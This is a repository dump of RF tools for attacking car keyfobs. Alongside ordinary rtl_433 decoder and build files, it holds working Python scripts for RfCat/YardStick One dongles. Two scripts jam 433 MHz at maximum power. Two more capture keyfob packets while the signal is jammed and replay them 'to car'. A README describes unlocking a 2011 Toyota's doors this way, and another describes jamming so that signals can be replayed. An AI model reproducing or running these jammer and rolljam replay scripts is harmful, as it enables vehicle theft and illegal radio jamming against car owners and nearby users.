├── rtl_433 ├── m4 │ └── .gitignore ├── include │ ├── Makefile.am │ ├── CMakeLists.txt │ ├── baseband.h │ ├── rtl_433.h │ ├── pulse_detect.h │ ├── rtl_433_devices.h │ ├── bitbuffer.h │ └── util.h ├── tests │ ├── CMakeLists.txt │ ├── data-test.c │ └── mqtt_rtl_433_test.py ├── rtl433.pc.in ├── .gitignore ├── AUTHORS ├── cmake │ ├── Modules │ │ └── FindLibRTLSDR.cmake │ └── cmake_uninstall.cmake.in ├── Makefile.am ├── src │ ├── devices │ │ ├── silvercrest.c │ │ ├── valeo.c │ │ ├── ec3k.c │ │ ├── x10_rf.c │ │ ├── intertechno.c │ │ ├── steffen.c │ │ ├── quhwa.c │ │ ├── kerui.c │ │ ├── tfa_pool_thermometer.c │ │ ├── generic_temperature_sensor.c │ │ ├── akhan_100F14.c │ │ ├── inovalley-kw9015b.c │ │ ├── waveman.c │ │ ├── elro_db286a.c │ │ ├── mebus.c │ │ ├── hondaremote.c │ │ ├── blyss.c │ │ ├── oregon_scientific_v1.c │ │ ├── infactory.c │ │ ├── current_cost.c │ │ ├── honeywell.c │ │ ├── ht680.c │ │ ├── generic_motion.c │ │ ├── springfield.c │ │ ├── rftech.c │ │ ├── ibis_beacon.c │ │ ├── schraeder.c │ │ ├── generic_remote.c │ │ ├── proove.c │ │ ├── chuango.c │ │ ├── xc0348.c │ │ ├── tpms_ford.c │ │ ├── cardin.c │ │ ├── efergy_e2_classic.c │ │ ├── thermopro_tp11.c │ │ ├── prologue.c │ │ ├── tpms_renault.c │ │ ├── oil_watchman.c │ │ ├── tpms_toyota.c │ │ ├── solight_te44.c │ │ ├── steelmate.c │ │ ├── bresser_3ch.c │ │ ├── calibeur.c │ │ ├── kedsum.c │ │ ├── esperanza_ews.c │ │ └── tpms_citroen.c │ ├── CMakeLists.txt │ └── Makefile.am ├── configure.ac └── CMakeLists.txt ├── Gauthier ├── rf_car_replay_raspb.py ├── rf_car_jam_2.py └── rf_car_replay_2.py ├── Demodulate_OOK ├── Makefile ├── README.md └── LICENSE ├── Rolljam_Alex ├── README.md ├── rf_car_jam.py └── rf_car_replay.py ├── RfCatHelpers ├── README.md ├── RFJammer.py ├── RFSimpleTransmit.py ├── AMOOKTransmit.py ├── decodeOOK.py ├── RFSimpleReplay.py └── AMOOKScanner.py ├── Rolljam_Exploitagency └── README.md ├── Bruteforce_Attack └── README.md └── README.md /rtl_433/m4/.gitignore: -------------------------------------------------------------------------------- 1 | /libtool.m4 2 | /lt*.m4 3 | -------------------------------------------------------------------------------- /Gauthier/rf_car_replay_raspb.py: -------------------------------------------------------------------------------- 1 | sudo ./rpitx -m RFA -i am.rfa -f 433987 -l -------------------------------------------------------------------------------- /rtl_433/include/Makefile.am: -------------------------------------------------------------------------------- 1 | rtl433_HEADERS = rtl_433.h rtl_433_devices.h 2 | 3 | rtl433dir = $(includedir) 4 | -------------------------------------------------------------------------------- /rtl_433/tests/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_executable(data-test data-test.c) 2 | 3 | target_link_libraries(data-test data) 4 | -------------------------------------------------------------------------------- /Demodulate_OOK/Makefile: -------------------------------------------------------------------------------- 1 | CC=g++ 2 | FLAGS=-Wall -O2 3 | 4 | demodulate-ook: main.cpp 5 | $(CC) $(FLAGS) -o demodulate-ook main.cpp 6 | 7 | clean: 8 | -rm demodulate-ook 9 | -------------------------------------------------------------------------------- /Rolljam_Alex/README.md: -------------------------------------------------------------------------------- 1 | #rolljam 2 | Hacking 2011 toyota to unlock car doors using two yardstick ones. 3 | https://www.youtube.com/watch?v=sqLYpxzEQCw&list=PLmh1Jlaj91uzNDanztB85KL38JJZIJo0G 4 | -------------------------------------------------------------------------------- /rtl_433/rtl433.pc.in: -------------------------------------------------------------------------------- 1 | prefix=@prefix@ 2 | exec_prefix=@exec_prefix@ 3 | libdir=@libdir@ 4 | includedir=@includedir@ 5 | 6 | Name: RTL-433 Utility 7 | Description: C Utility 8 | Version: @VERSION@ 9 | Cflags: -I${includedir}/ @RTL433_PC_CFLAGS@ 10 | -------------------------------------------------------------------------------- /rtl_433/.gitignore: -------------------------------------------------------------------------------- 1 | Makefile 2 | Makefile.in 3 | .deps 4 | .libs 5 | *.o 6 | *.lo 7 | *.la 8 | *.pc 9 | aclocal.m4 10 | acinclude.m4 11 | aminclude.am 12 | m4/*.m4 13 | autom4te.cache 14 | config.h* 15 | config.sub 16 | config.log 17 | config.status 18 | config.guess 19 | configure 20 | compile 21 | depcomp 22 | missing 23 | ltmain.sh 24 | install-sh 25 | stamp-h1 26 | libtool 27 | Doxyfile 28 | .dirstamp 29 | 30 | .tarball-version 31 | .version 32 | 33 | .*.swp 34 | 35 | doc/ 36 | 37 | src/rtl_433 38 | src/rtl_sdr 39 | src/rtl_tcp 40 | 41 | CMakeCache.txt 42 | 43 | build/ 44 | .cproject 45 | .settings 46 | .project 47 | 48 | *.orig 49 | *~ 50 | -------------------------------------------------------------------------------- /Gauthier/rf_car_jam_2.py: -------------------------------------------------------------------------------- 1 | 2 | from rflib import * 3 | import time 4 | 5 | d = RfCat(idx=1) # pick which dongle to use idx=0 idx=1 6 | d.setFreq(433987609) # frequency to jam at 7 | d.setMdmModulation(MOD_ASK_OOK) #on of keying 8 | d.setMdmDRate(int(1.0/0.0006)) # how long we play each bit 9 | d.setMdmChanSpc(24000) # how wide channel is 10 | d.setMaxPower() # max power for transmitting 11 | d.setRFRegister(PA_TABLE0,0xFF) # data jammer sends 12 | d.setRFRegister(PA_TABLE1,0xFF) # data jammer sends 13 | d.makePktFLEN(255) # set packet size 14 | 15 | print "Starting" 16 | d.setModeTX() # start transmitting 17 | raw_input("Enter to stop jamming") 18 | print 'done' 19 | d.setModeIDLE() # put dongle in idle mode to stop jamming 20 | -------------------------------------------------------------------------------- /Rolljam_Alex/rf_car_jam.py: -------------------------------------------------------------------------------- 1 | 2 | from rflib import * 3 | import time 4 | 5 | d = RfCat(idx=1) # pick which dongle to use idx=0 idx=1 6 | d.setFreq(433900000) # frequency to jam at 7 | d.setMdmModulation(MOD_ASK_OOK) #on of keying 8 | d.setMdmDRate(int(1.0/0.0006)) # how long we play each bit 9 | d.setMdmChanSpc(24000) # how wide channel is 10 | d.setMaxPower() # max power for transmitting 11 | d.setRFRegister(PA_TABLE0,0xFF) # data jammer sends 12 | d.setRFRegister(PA_TABLE1,0xFF) # data jammer sends 13 | d.makePktFLEN(255) # set packet size 14 | 15 | print "Starting" 16 | d.setModeTX() # start transmitting 17 | raw_input("Enter to stop jamming") 18 | print 'done' 19 | d.setModeIDLE() # put dongle in idle mode to stop jamming 20 | -------------------------------------------------------------------------------- /Demodulate_OOK/README.md: -------------------------------------------------------------------------------- 1 | # DemodulateOOK 2 | Demodulate on/off keying. 3 | 4 | ## Usage 5 | ``` 6 | ./demodulate-ook file-name 7 | ``` 8 | If the file isn't detected as a wav file it will assume it is 16 bits/sample, 1 channel, signed integers, and little endian. 9 | 10 | ## "Issues" 11 | * When using 32 bit samples it needs to allocate 16 GiB (4*2^32 bytes) of RAM. 12 | * Messes up if there are >256 bits set to on or off. Ignoring the beginning and the end of the data and anything longer than 96000 samples that don't switch state. 13 | * 10 samples/bit is the minimum. 14 | * You can't select which channel to use. It just uses the first channel. 15 | * There are issues with clock skew and amplitude skew. For short messages this shouldn't be a problem. 16 | -------------------------------------------------------------------------------- /rtl_433/AUTHORS: -------------------------------------------------------------------------------- 1 | Benjamin Larsson 2 | Sven Killig 3 | Benjamin Larsson 4 | rct 5 | johan 6 | Thomas Kerpe 7 | Jens Jensen 8 | Sven 9 | Martin Hauke 10 | magellannh 11 | jules69350 12 | arantius 13 | andreaaizza 14 | Trueffelwurm 15 | Tomasz Brzezina 16 | Paul F-Y 17 | Corné van Strien 18 | Baruch Even 19 | Andrea 20 | Helge Weissig 21 | Robert Fraczkiewicz 22 | Nicola Quiriti 23 | Petr Konecny 24 | -------------------------------------------------------------------------------- /rtl_433/cmake/Modules/FindLibRTLSDR.cmake: -------------------------------------------------------------------------------- 1 | INCLUDE(FindPkgConfig) 2 | if(NOT LIBRTLSDR_FOUND) 3 | pkg_check_modules (LIBRTLSDR_PKG librtlsdr) 4 | find_path(LIBRTLSDR_INCLUDE_DIRS NAMES rtl-sdr.h 5 | PATHS 6 | ${LIBRTLSDR_PKG_INCLUDE_DIRS} 7 | /usr/include 8 | /usr/local/include 9 | ) 10 | 11 | find_library(LIBRTLSDR_LIBRARIES NAMES rtlsdr 12 | PATHS 13 | ${LIBRTLSDR_PKG_LIBRARY_DIRS} 14 | /usr/lib 15 | /usr/local/lib 16 | ) 17 | 18 | if(LIBRTLSDR_INCLUDE_DIRS AND LIBRTLSDR_LIBRARIES) 19 | set(LIBRTLSDR_FOUND TRUE CACHE INTERNAL "librtlsdr found") 20 | message(STATUS "Found librtlsdr: ${LIBRTLSDR_INCLUDE_DIRS}, ${LIBRTLSDR_LIBRARIES}") 21 | else(LIBRTLSDR_INCLUDE_DIRS AND LIBRTLSDR_LIBRARIES) 22 | set(LIBRTLSDR_FOUND FALSE CACHE INTERNAL "librtlsdr found") 23 | message(STATUS "librtlsdr not found.") 24 | endif(LIBRTLSDR_INCLUDE_DIRS AND LIBRTLSDR_LIBRARIES) 25 | 26 | mark_as_advanced(LIBRTLSDR_LIBRARIES LIBRTLSDR_INCLUDE_DIRS) 27 | 28 | endif(NOT LIBRTLSDR_FOUND) 29 | -------------------------------------------------------------------------------- /rtl_433/include/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2012 OSMOCOM Project 2 | # 3 | # This file is part of rtl-sdr 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | ######################################################################## 21 | # Install public header files 22 | ######################################################################## 23 | install(FILES 24 | rtl_433.h 25 | rtl_433_devices.h 26 | DESTINATION include 27 | ) 28 | -------------------------------------------------------------------------------- /Demodulate_OOK/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Steve Thomas 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /rtl_433/Makefile.am: -------------------------------------------------------------------------------- 1 | AUTOMAKE_OPTIONS = foreign dist-bzip2 1.6 2 | ACLOCAL_AMFLAGS = -I m4 3 | 4 | INCLUDES = $(all_includes) -I$(top_srcdir)/include 5 | SUBDIRS = include src 6 | 7 | pkgconfigdir = $(libdir)/pkgconfig 8 | pkgconfig_DATA = rtl433.pc 9 | 10 | BUILT_SOURCES = $(top_srcdir)/.version 11 | $(top_srcdir)/.version: 12 | echo $(VERSION) > $@-t && mv $@-t $@ 13 | dist-hook: 14 | echo $(VERSION) > $(distdir)/.tarball-version 15 | 16 | EXTRA_DIST = git-version-gen 17 | 18 | if HAVE_DOXYGEN 19 | 20 | pkgdocdir=$(docdir)/$(PACKAGE)-$(VERSION) 21 | doc_htmldir=$(pkgdocdir)/html 22 | 23 | doc_html_DATA = $(top_builddir)/doc/html.tar 24 | 25 | $(doc_html_DATA): $(top_builddir)/doc/html/index.html 26 | cd $(top_builddir)/doc && tar cf html.tar html 27 | 28 | $(top_builddir)/doc/html/index.html: $(SOURCES) Doxyfile 29 | @rm -rf doc 30 | mkdir -p doc 31 | $(DOXYGEN) Doxyfile 32 | 33 | install-data-hook: 34 | cd $(DESTDIR)$(doc_htmldir) && tar xf html.tar --strip-components 1 && rm -f html.tar 35 | 36 | uninstall-hook: 37 | cd $(DESTDIR) && rm -rf $(doc_htmldir) 38 | 39 | DX_CLEAN = doc/{html,latex}/* doc/html.tar 40 | 41 | endif 42 | 43 | MOSTLYCLEANFILES = $(DX_CLEAN) 44 | -------------------------------------------------------------------------------- /rtl_433/src/devices/silvercrest.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | 3 | static int silvercrest_callback(bitbuffer_t *bitbuffer) { 4 | bitrow_t *bb = bitbuffer->bb; 5 | /* FIXME validate the received message better */ 6 | if (bb[1][0] == 0xF8 && 7 | bb[2][0] == 0xF8 && 8 | bb[3][0] == 0xF8 && 9 | bb[4][0] == 0xF8 && 10 | bb[1][1] == 0x4d && 11 | bb[2][1] == 0x4d && 12 | bb[3][1] == 0x4d && 13 | bb[4][1] == 0x4d) { 14 | /* Pretty sure this is a Silvercrest remote */ 15 | fprintf(stdout, "Remote button event:\n"); 16 | fprintf(stdout, "model = Silvercrest, %d bits\n",bitbuffer->bits_per_row[1]); 17 | fprintf(stdout, "%02x %02x %02x %02x %02x\n",bb[1][0],bb[0][1],bb[0][2],bb[0][3],bb[0][4]); 18 | 19 | return 1; 20 | } 21 | return 0; 22 | } 23 | 24 | r_device silvercrest = { 25 | .name = "Silvercrest Remote Control", 26 | .modulation = OOK_PULSE_PWM_RAW, 27 | .short_limit = 600, 28 | .long_limit = 5000, 29 | .reset_limit = 15000, 30 | .json_callback = &silvercrest_callback, 31 | .disabled = 1, 32 | .demod_arg = 1, // Remove startbit 33 | }; 34 | -------------------------------------------------------------------------------- /rtl_433/src/devices/valeo.c: -------------------------------------------------------------------------------- 1 | /* Valeo Car Key 2 | * 3 | * Identifies event, but does not attempt to decrypt rolling code... 4 | * 5 | * Copyright (C) 2015 Tommy Vestermark 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | */ 11 | #include "rtl_433.h" 12 | 13 | 14 | static int valeo_callback(bitbuffer_t *bitbuffer) { 15 | bitrow_t *bb = bitbuffer->bb; 16 | 17 | // Validate package 18 | unsigned bits = bitbuffer->bits_per_row[0]; 19 | if ((bits == 461) 20 | && (bb[0][1] == 0xe8) && (bb[0][2] == 0xe8) // Check a couple of preambles 21 | ) { 22 | fprintf(stdout, "Valeo Car Key:\n"); 23 | fprintf(stdout, "Rolling code = "); 24 | for (unsigned n=49; n<(49+9); ++n) { 25 | fprintf(stdout, "%02X", bb[0][n]); 26 | } 27 | fprintf(stdout, "\n"); 28 | return 1; 29 | } 30 | return 0; 31 | } 32 | 33 | 34 | r_device valeo = { 35 | .name = "Valeo Car Key", 36 | .modulation = OOK_PULSE_MANCHESTER_ZEROBIT, 37 | .short_limit = 106, 38 | .long_limit = 0, // Not used 39 | .reset_limit = 400, 40 | .json_callback = &valeo_callback, 41 | .disabled = 1, 42 | .demod_arg = 0, 43 | }; 44 | -------------------------------------------------------------------------------- /rtl_433/src/devices/ec3k.c: -------------------------------------------------------------------------------- 1 | /* EC3k Energy Count Control 2 | * 3 | * "Voltcraft Energy Count 3000" sensor sold by Conrad 4 | * aka “Velleman NETBSEM4” 5 | * aka “La Crosse Techology Remote Cost Control Monitor – RS3620”. 6 | * aka "ELV Cost Control" 7 | * 8 | * Stub driver 9 | * 10 | * Copyright (C) 2015 Tommy Vestermark 11 | * This program is free software; you can redistribute it and/or modify 12 | * it under the terms of the GNU General Public License as published by 13 | * the Free Software Foundation; either version 2 of the License, or 14 | * (at your option) any later version. 15 | */ 16 | #include "rtl_433.h" 17 | #include "util.h" 18 | 19 | static int ec3k_callback(bitbuffer_t *bitbuffer) { 20 | bitrow_t *bb = bitbuffer->bb; 21 | 22 | // Validate package 23 | unsigned bits = bitbuffer->bits_per_row[0]; 24 | if (bits >= 550 && bits <= 590) { // Package should be around 578?! 25 | fprintf(stdout, "Energy Count 3000:\n"); 26 | bitbuffer_print(bitbuffer); 27 | return 1; 28 | } 29 | return 0; 30 | } 31 | 32 | r_device ec3k = { 33 | .name = "Energy Count 3000 (868.3 MHz)", 34 | .modulation = FSK_PULSE_PCM, 35 | .short_limit = 50, // NRZ decoding 36 | .long_limit = 50, // Bit width 37 | .reset_limit = 800, // 16 zeros (up to 12 seen)... 38 | .json_callback = &ec3k_callback, 39 | .disabled = 1, 40 | .demod_arg = 0, 41 | }; 42 | -------------------------------------------------------------------------------- /Gauthier/rf_car_replay_2.py: -------------------------------------------------------------------------------- 1 | from rflib import * 2 | from struct import * 3 | import bitstring 4 | 5 | d = RfCat(idx=0) 6 | d.setMdmModulation(MOD_ASK_OOK) #on of key 7 | d.setFreq(433987609) # frequency 8 | d.setMdmDRate(4800)# how long each bit is transmited for 9 | d.setMdmChanBW(60000)# how wide channel is 10 | d.setMdmChanSpc(24000) 11 | d.setChannel(0) 12 | d.setMaxPower() # max power 13 | d.lowball(1) # need inorder to read data 14 | 15 | rawCapture = [] # array to store keyfob captures 16 | i=0 17 | while True: 18 | try: 19 | if i >=4: # number of packets to capture 20 | break; 21 | y,t=d.RFrecv(timeout=1,blocksize=400) # blocksize is 475 to catch the whole packet 22 | a=y.encode('hex') # turn to hex 23 | print a.count('f') 24 | if (a.count('f') < 350): # filter the jamming signal 25 | print str(a) # print key fob packet 26 | rawCapture.append(a) # add key fob to array 27 | i= i +1 28 | except ChipconUsbTimeoutException: # had to add this yard stick one kept timming out 29 | pass 30 | for i in range(0,len(rawCapture)): # loop through each key fob capture 31 | raw_input("enter"+str(i+1)) 32 | key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() # get the length of the packet 33 | d.makePktFLEN(len(key_packed)) # set packet length 34 | d.RFxmit(key_packed) # replay packet to car 35 | d.setModeIDLE() # put yardstick one in idle mode 36 | -------------------------------------------------------------------------------- /Rolljam_Alex/rf_car_replay.py: -------------------------------------------------------------------------------- 1 | from rflib import * 2 | from struct import * 3 | import bitstring 4 | 5 | d = RfCat(idx=0) 6 | d.setMdmModulation(MOD_ASK_OOK) #on of key 7 | d.setFreq(433920000) # frequency 8 | d.setMdmDRate(4800)# how long each bit is transmited for 9 | d.setMdmChanBW(60000)# how wide channel is 10 | d.setMdmChanSpc(24000) 11 | d.setChannel(0) 12 | d.setMaxPower() # max power 13 | d.lowball(1) # need inorder to read data 14 | 15 | rawCapture = [] # array to store keyfob captures 16 | i=0 17 | while True: 18 | try: 19 | if i >=4: # number of packets to capture 20 | break; 21 | y,t=d.RFrecv(timeout=1,blocksize=400) # blocksize is 475 to catch the whole packet 22 | a=y.encode('hex') # turn to hex 23 | print a.count('f') 24 | if (a.count('f') < 350): # filter the jamming signal 25 | print str(a) # print key fob packet 26 | rawCapture.append(a) # add key fob to array 27 | i= i +1 28 | except ChipconUsbTimeoutException: # had to add this yard stick one kept timming out 29 | pass 30 | for i in range(0,len(rawCapture)): # loop through each key fob capture 31 | raw_input("enter"+str(i+1)) 32 | key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() # get the length of the packet 33 | d.makePktFLEN(len(key_packed)) # set packet length 34 | d.RFxmit(key_packed) # replay packet to car 35 | d.setModeIDLE() # put yardstick one in idle mode 36 | -------------------------------------------------------------------------------- /RfCatHelpers/README.md: -------------------------------------------------------------------------------- 1 | # RfCatHelpers 2 | Helper scripts for RfCat devices 3 | 4 | # AM OOK Scanner 5 | Script listens for OOK signals (starting with multiple 0's), converts this to binary and compares to other signals it has seen, it will then try and calculate the accurate final signal (based on normalising all the signals). 6 | 7 | # AM OOK Transmit 8 | Simple script to take the binary you wish to send and ... well ... send it. Will either convert your binary (by creating the 0's and 1's for AM/OOK) or send out a full binary (if conversion is already done, say from listening with the Scanner) 9 | 10 | # PWMScanner 11 | This looks for AM/OOK signals and 'locks' onto them to show you the outputted script as well as offers you the ability to replay a captured signal, useful for basic testing, but ultimately not something you want to use when doing more advanced testing 12 | 13 | # RF Jammer 14 | Script to Jam on a single frequency, useful for stopping transmissions from going through to replay them 15 | 16 | # RF Simple replay 17 | Listens for a 'packet' ( re.search(r'((0)\2{15,})', x ) and stores a particular amount of these packets (configured) then replays them when the user presses a key 18 | 19 | # RF Simple transmit 20 | Resends packets captured from the about (use -o for out/in file for both) 21 | 22 | # Dual RF 23 | Ability to use 2 RFCat compatible devices to search and jam -- not recommended for anything but laughing at my code 24 | -------------------------------------------------------------------------------- /rtl_433/src/devices/x10_rf.c: -------------------------------------------------------------------------------- 1 | /* X10 sensor 2 | * 3 | * 4 | * Stub for decoding test data only 5 | * 6 | * Copyright (C) 2015 Tommy Vestermark 7 | * This program is free software; you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation; either version 2 of the License, or 10 | * (at your option) any later version. 11 | */ 12 | #include "rtl_433.h" 13 | 14 | static int X10_RF_callback(bitbuffer_t *bitbuffer) { 15 | bitrow_t *bb = bitbuffer->bb; 16 | // Row [0] is sync pulse 17 | // Validate package 18 | if ((bitbuffer->bits_per_row[1] == 32) // Dont waste time on a short package 19 | // && (bb[1][0] == (uint8_t)(~bb[1][1])) // Check integrity - apparently some chips may use both bytes.. 20 | && (bb[1][2] == ((0xff & (~bb[1][3])))) // Check integrity 21 | ) 22 | { 23 | fprintf(stdout, "X10 RF:\n"); 24 | fprintf(stdout, "data = %02X %02X %02X %02X\n", bb[1][0], bb[1][1], bb[1][2], bb[1][3]); 25 | 26 | return 1; 27 | } 28 | return 0; 29 | } 30 | 31 | 32 | r_device X10_RF = { 33 | .name = "X10 RF", 34 | .modulation = OOK_PULSE_PPM_RAW, 35 | .short_limit = 1100, // Short gap 500µs, long gap 1680µs 36 | .long_limit = 2800, // Gap after sync is 4.5ms (1125) 37 | .reset_limit = 6000, // Gap seen between messages is ~40ms so let's get them individually 38 | .json_callback = &X10_RF_callback, 39 | .disabled = 1, 40 | .demod_arg = 0, 41 | }; 42 | -------------------------------------------------------------------------------- /rtl_433/cmake/cmake_uninstall.cmake.in: -------------------------------------------------------------------------------- 1 | # http://www.vtk.org/Wiki/CMake_FAQ#Can_I_do_.22make_uninstall.22_with_CMake.3F 2 | 3 | IF(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") 4 | MESSAGE(FATAL_ERROR "Cannot find install manifest: \"@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt\"") 5 | ENDIF(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") 6 | 7 | FILE(READ "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt" files) 8 | STRING(REGEX REPLACE "\n" ";" files "${files}") 9 | FOREACH(file ${files}) 10 | MESSAGE(STATUS "Uninstalling \"$ENV{DESTDIR}${file}\"") 11 | IF(EXISTS "$ENV{DESTDIR}${file}") 12 | EXEC_PROGRAM( 13 | "@CMAKE_COMMAND@" ARGS "-E remove \"$ENV{DESTDIR}${file}\"" 14 | OUTPUT_VARIABLE rm_out 15 | RETURN_VALUE rm_retval 16 | ) 17 | IF(NOT "${rm_retval}" STREQUAL 0) 18 | MESSAGE(FATAL_ERROR "Problem when removing \"$ENV{DESTDIR}${file}\"") 19 | ENDIF(NOT "${rm_retval}" STREQUAL 0) 20 | ELSEIF(IS_SYMLINK "$ENV{DESTDIR}${file}") 21 | EXEC_PROGRAM( 22 | "@CMAKE_COMMAND@" ARGS "-E remove \"$ENV{DESTDIR}${file}\"" 23 | OUTPUT_VARIABLE rm_out 24 | RETURN_VALUE rm_retval 25 | ) 26 | IF(NOT "${rm_retval}" STREQUAL 0) 27 | MESSAGE(FATAL_ERROR "Problem when removing \"$ENV{DESTDIR}${file}\"") 28 | ENDIF(NOT "${rm_retval}" STREQUAL 0) 29 | ELSE(EXISTS "$ENV{DESTDIR}${file}") 30 | MESSAGE(STATUS "File \"$ENV{DESTDIR}${file}\" does not exist.") 31 | ENDIF(EXISTS "$ENV{DESTDIR}${file}") 32 | ENDFOREACH(file) 33 | -------------------------------------------------------------------------------- /rtl_433/src/devices/intertechno.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | 3 | static int intertechno_callback(bitbuffer_t *bitbuffer) { 4 | bitrow_t *bb = bitbuffer->bb; 5 | 6 | //if (bb[1][1] == 0 && bb[1][0] != 0 && bb[1][3]==bb[2][3]){ 7 | if(bb[0][0]==0 && bb[0][0] == 0 && bb[1][0] == 0x56){ 8 | fprintf(stdout, "Switch event:\n"); 9 | fprintf(stdout, "protocol = Intertechno\n"); 10 | fprintf(stdout, "rid = %x\n",bb[1][0]); 11 | fprintf(stdout, "rid = %x\n",bb[1][1]); 12 | fprintf(stdout, "rid = %x\n",bb[1][2]); 13 | fprintf(stdout, "rid = %x\n",bb[1][3]); 14 | fprintf(stdout, "rid = %x\n",bb[1][4]); 15 | fprintf(stdout, "rid = %x\n",bb[1][5]); 16 | fprintf(stdout, "rid = %x\n",bb[1][6]); 17 | fprintf(stdout, "rid = %x\n",bb[1][7]); 18 | fprintf(stdout, "ADDR Slave = %i\n",bb[1][7] & 0x0f); 19 | fprintf(stdout, "ADDR Master = %i\n",(bb[1][7] & 0xf0) >> 4); 20 | fprintf(stdout, "command = %i\n",(bb[1][6] & 0x07)); 21 | fprintf(stdout, "%02x %02x %02x %02x %02x\n",bb[1][0],bb[1][1],bb[1][2],bb[1][3],bb[1][4]); 22 | 23 | return 1; 24 | } 25 | return 0; 26 | } 27 | 28 | r_device intertechno = { 29 | .name = "Intertechno 433", 30 | .modulation = OOK_PULSE_PPM_RAW, 31 | .short_limit = 400, 32 | .long_limit = 1400, 33 | .reset_limit = 10000, 34 | .json_callback = &intertechno_callback, 35 | .disabled = 1, 36 | .demod_arg = 0, 37 | }; 38 | -------------------------------------------------------------------------------- /rtl_433/src/devices/steffen.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | 3 | static int steffen_callback(bitbuffer_t *bitbuffer) { 4 | bitrow_t *bb = bitbuffer->bb; 5 | 6 | if (bb[0][0]==0x00 && ((bb[1][0]&0x07)==0x07) && bb[1][0]==bb[2][0] && bb[2][0]==bb[3][0]) { 7 | 8 | fprintf(stdout, "Remote button event:\n"); 9 | fprintf(stdout, "model = Steffan Switch Transmitter, %d bits\n",bitbuffer->bits_per_row[1]); 10 | fprintf(stdout, "code = %d%d%d%d%d\n", (bb[1][0]&0x80)>>7, (bb[1][0]&0x40)>>6, (bb[1][0]&0x20)>>5, (bb[1][0]&0x10)>>4, (bb[1][0]&0x08)>>3); 11 | 12 | if ((bb[1][2]&0x0f)==0x0e) 13 | fprintf(stdout, "button = A\n"); 14 | else if ((bb[1][2]&0x0f)==0x0d) 15 | fprintf(stdout, "button = B\n"); 16 | else if ((bb[1][2]&0x0f)==0x0b) 17 | fprintf(stdout, "button = C\n"); 18 | else if ((bb[1][2]&0x0f)==0x07) 19 | fprintf(stdout, "button = D\n"); 20 | else if ((bb[1][2]&0x0f)==0x0f) 21 | fprintf(stdout, "button = ALL\n"); 22 | else 23 | fprintf(stdout, "button = unknown\n"); 24 | 25 | if ((bb[1][2]&0xf0)==0xf0) { 26 | fprintf(stdout, "state = OFF\n"); 27 | } else { 28 | fprintf(stdout, "state = ON\n"); 29 | } 30 | 31 | return 1; 32 | } 33 | return 0; 34 | } 35 | 36 | r_device steffen = { 37 | .name = "Steffen Switch Transmitter", 38 | .modulation = OOK_PULSE_PPM_RAW, 39 | .short_limit = 560, 40 | .long_limit = 1080, 41 | .reset_limit = 6000, 42 | .json_callback = &steffen_callback, 43 | .disabled = 1, 44 | .demod_arg = 0, 45 | }; 46 | -------------------------------------------------------------------------------- /rtl_433/configure.ac: -------------------------------------------------------------------------------- 1 | AC_INIT([rtl433], 2 | m4_esyscmd([./git-version-gen .tarball-version]), 3 | [rtl_433@googlegroups.com]) 4 | 5 | AM_INIT_AUTOMAKE([dist-bzip2 subdir-objects]) 6 | 7 | dnl kernel style compile messages 8 | m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])]) 9 | 10 | dnl checks for programs 11 | AC_PROG_MAKE_SET 12 | AC_PROG_CC 13 | AC_PROG_CC_STDC 14 | AC_PROG_INSTALL 15 | LT_INIT 16 | AC_PROG_LIBTOOL 17 | 18 | PKG_CHECK_MODULES(LIBRTLSDR, librtlsdr) 19 | LIBS="$LIBS $LIBRTLSDR_LIBS" 20 | CFLAGS="$CFLAGS $LIBRTLSDR_CFLAGS" 21 | 22 | AC_PATH_PROG(DOXYGEN,doxygen,false) 23 | AM_CONDITIONAL(HAVE_DOXYGEN, test $DOXYGEN != false) 24 | 25 | AC_CONFIG_MACRO_DIR([m4]) 26 | 27 | dnl checks for header files 28 | AC_HEADER_STDC 29 | 